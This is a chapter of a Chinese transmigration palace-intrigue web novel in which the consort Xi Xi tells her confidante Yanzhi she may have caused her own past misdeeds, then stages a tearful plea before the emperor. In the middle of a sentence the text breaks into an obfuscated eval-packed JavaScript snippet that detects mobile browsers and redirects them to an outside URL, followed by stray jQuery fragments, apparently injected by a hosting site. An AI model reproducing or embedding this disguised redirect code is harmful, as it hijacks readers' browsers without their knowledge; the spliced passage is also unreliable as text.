所谓江山易改、本性难移,沈嫣然这个女主重生后再想善良,那手段看起来也实在不像正经的好人。但她也有优良的品质,那就是诚信又实干。
尽管她嘴上说着“没人”,可当天离开侯府时,她心里其实早就盘算好了一切。临走前只对贵妃撂下一句话:“明日你再邀九皇妹来府上,其他的事,交给我。”
说完她便不再多言,转身就回府,开始着手她答应下来的事,毫不耽搁。
“这人怎么还能大摇大摆地走进侯府?!”胭脂眯着眼睛,语气里带着明显的不满,等着贵妃给个解释。
她被人推入湖中后各方鸡飞狗跳,场面混乱不堪。皇帝、太医、侯爷夫妇全都围着贵妃转,胭脂这个司寝良御压根近不了贵妃的身。好不容易今天皇帝开恩放了贵妃自由,胭脂刚想来问问清楚,结果沈嫣然又出现了。
“她再过一年就是皇后,只要明面上不是凶手,谁还能把她关起来?”
“明面上?”胭脂挑眉,显然不太买账。
奚汐随即将沈嫣然做过的好事一五一十地向她交代。
果然,胭脂听完后气得不行:“这女人上辈子果然就是个‘恶毒女配’!你说她爹,有点人性吗?不愧是父女!这种家教出来的女儿,你真信她能变好?这种人居然还是女主?你说得对,这本书的三观简直歪得离谱!”
眼看她越说越激动,奚汐心里有些忐忑,犹豫了好一会儿,还是决定吐露一个秘密。
“其实……我可能也不是什么好人。”
胭脂一愣:“什么意思?”
奚汐拉着她的手走到椅子边,轻轻把她按坐下,像个做错事的孩子一样绞着手指,“其实,我会游泳……不,不是一点点,是很会。我以前在学校还参加过游泳比赛。穿进这本书之后,我想我应该也没把这个技能给丢了。”
“你会游泳就该被推进那湖……”胭脂忽然明白了什么,低声惊呼:“等等,你之前在宫里那次跳湖,整个人都沉下去了,你是装的?”
“也不是说装的吧……”奚汐坐到她身边,脸上浮现出一丝不安,“胭脂,你见过人格分裂的人吗?”
“怎么突然扯到这个?”胭脂听得一头雾水。
“我曾经见过一个解离症患者,有点像人格分裂,多重人格。有时候整个人都完全变了,不只是性格,连记忆和思维方式都不一样……”她深吸一口气,声音微微发抖,“我见过的那个人,是我爸,不是说高侯爷。”
“我知道。”胭脂轻声回应,生怕声音一大,会惊到她。
“我觉得,这可能是遗传。”奚汐抬起头,苦涩一笑,“我可能也有这种情况。我之前说被‘高贵妃’控制了言行,身不由己、言不由心。但最近我反复回想,发现不是那么回事。我不是被谁控制了,而是……那个‘她’,也是我。”
胭脂没有她想象中的惊诧,只是眉头拧紧:“你为什么突然这么觉得?”
奚汐却答非所问:“你说你变成胭脂是去年初春红梅开的时候,可我不是。高若溪十三岁那年,我就已经变成了她。算起来……”她抬起自己的手,“已经有六年了。”
胭脂像听天书一样,脸上写满了茫然:“那场车祸是我引起的,时间地点都对得上,我们明明是同一天死的……”
奚汐似乎没听进去,继续说道:“而在中秋那夜,我遇见你之前,很多记忆我都丢失了。直到这次掉进那冰湖,可能是脑子被冻清醒了点,我才想起不少以前的事。包括我和明吟渊的事……”
“你先让我缓缓。”胭脂一巴掌拍在脑门上,脑子里已经快炸了,“你说的也不是不可能。虽然我们是同一天没了命,但也没人规定穿进来就得在同一个时间点。可就算这样,你为什么会觉得你……”她又是摇头又是眨眼,“分裂出了另一个人格?是因为你感觉之前的‘高贵妃’的言行也是你的自主意识?可是我看电视剧里的多重人格,对于另一个人格的存在,当事人不是都不知道吗?还有,这些和你失忆有什么关系?天啦,你为什么又会失忆?!你是什么时候失忆的?!”
这什么跟什么啊,她的CPU都快烧了!
奚汐叹了口气,举起手伸出一根手指:“第一,虽然我有幸劳您车驾带进了这本书,但我‘降落’在六年前高若溪十三岁的时间点,而你落在去年的冬季,整整相隔了五年。”接着伸出第二根手指,“第二,从高若溪十三岁到我去年中秋遇见你,这期间发生的事,我几乎没了任何记忆,所以那时我以为我才刚‘穿’进来。原因可能是三年前沈嫣然推我下水有关。”
“她三年前还……”胭脂忍住了追问,闭上嘴等她说下去。
“第三,那个‘高冷心机绿茶作精’不是原主,应该就是我自己。可那时我没了从前的记忆,一切都觉得陌生,以为脑中的记忆碎片是原本的高若溪,也是这个原主在控制我……嗯,作妖。”说着奚汐又举起第四根手指;“第四,我之所以这么肯定,是因为我最近记起了许多事,虽然还没完全想起来,但足够确定从前的我……”她捂住脸,认命地叹了口气,“从前的我就不是个好东西,能和沈嫣然斗得有来有回,你想能是什么好东西。”
胭脂起身楼主她的肩,“别太伤心……”
“我没伤心啊。”
“嗯?”
“我反而觉得……”奚汐小心翼翼地看她一眼,低声道:“有点兴奋。”
胭脂懵了,“啊?”
“有种终于‘归位’的兴奋。”
胭脂点着头,好像能够明白她的意思。
奚汐轻轻拽着她的袖子,不安地说:“你会不会觉得我这个人有点可怕?”
胭脂噗嗤一声笑出来,“害怕你得了精神病啊?”
奚汐小声道:“以前那个高贵妃就是我,和我完全不一样……”
“是你一直在说‘人家’控制了你,说高贵妃的记忆和你不融合,说‘你是你,她是她’,都是你在说。”胭脂叹着气摇头,“可我觉得,你和‘她’并没有格格不入,也没看出你有几个人格……如果真像你所说,不说别人,只说陛下,他对你那样上心,他难道就没发觉不对劲?”
奚汐皱着小脸看了她半天,忽然问道:“我在你眼里是什么样的人?”
她这一脸期待的模样,胭脂颇为为难,“真要我说?”
奚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214000|174090||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
汐重重点头,“真要你说。”
“那可是你逼我说的。”胭脂眼神飘向一旁,不敢与她对视:“……又菜又爱作。”
贵妃原本满心欢喜期待的神情瞬间凝固,脸上写满了错愕与震惊,“菜?!我都说了之前那个贵妃就是我,我那时候还能叫菜?”
胭脂早已逃到远处,毫不留情地揭她的短,“就是说的你那时候,你看你每次作天作地,动不动就把自己搭进去,伤敌八百,自损一千,不是菜是什么?”
正说着,门外突然传来一道急促的声音,“娘娘——”,是孙京墨的声音,语气里透着焦急。
奚汐忙道:“进来。”
孙京墨知胭脂是贵妃心腹,也不避讳,进门后低声说道:“鲁公公从宫里打听到,昨日大长公主去了袁夫人那里,之后袁夫人便开始绝食了。”
果然如沈嫣然所言,这位外祖母雷厉风行,说一不二,如今便要袁夫人的命了。
“孙掌事,准备车驾。”奚汐冷笑一声,“进宫。”
※
奚汐终究见识到了大长公主的手段,从平康侯府到宫中,不过半个时辰,她便已带着太后与代王出现在皇帝面前。可想而知,侯府门前早已布满她的眼线,随时监视贵妃的一举一动。
还未踏入御书房,远远便见殿门大开,三位佛爷已坐在皇帝身旁。奚汐心中顿时一沉,今日的局势,是以一敌三。
身为皇家宗正的代王,向来站在皇帝这边。太后虽曾为皇帝与沈嫣然指婚,但之后并未过多干预立后之事。而如今,这两位竟与大长公主一同前来,不知她是如何说动他们的。
不管背后如何达成一致,只看三人的身份——天子嫡母、皇姑祖母、皇叔公,别说她一个贵妃,就是皇帝同时面对这三人,怕也是讨不了好。
常规手段肯定行不通,只能出奇制胜。
“陛下——”
人未进门,一声凄楚的哭喊已先传来,紧接着,贵妃娇弱的身影跌跌撞撞地冲了进来。
刚跨过门槛,她那纤弱的身子便“扑通”一声跪倒在地,哭得几乎喘不过气来:“陛下……陛下……”
别说太后、公主与代王,就连明吟渊也为之一惊。他虽知贵妃多半又是在演一出戏,可亲眼见她哭得如此伤心欲绝,心也不由得揪了起来。演的这么逼真,他怕是真的。
明吟渊忙上前扶她,可手刚一触碰到她,就被她紧紧拽住衣襟,顺势将他也拉跪了下来。
“贵妃!”他低声咬牙,警告她这行为太过失态,毕竟这不是他们私密的闺房,而是在御前!
可奚汐哪管这些,死死抓着他的衣襟,上半身瘫软在他怀里,下半身跪在地上,哭得几乎断气:“听闻袁夫人……袁夫人欲自尽……呜呜……若她真因此丧命,臣妾也不想活了,臣妾无颜苟活!陛下,若袁夫人因臣妾而死,那就请陛下也将臣妾赐死吧……臣妾如今,还有什么脸面留在世上……陛下……”
贤穆大长公主猛地起身,神色震惊,脸上浮现出一丝慌乱。糟了!
两军交战,通常先树战旗,再擂战鼓,接着阵前叫阵。可贵妃全无武德,竟直接杀到了主帅帐前。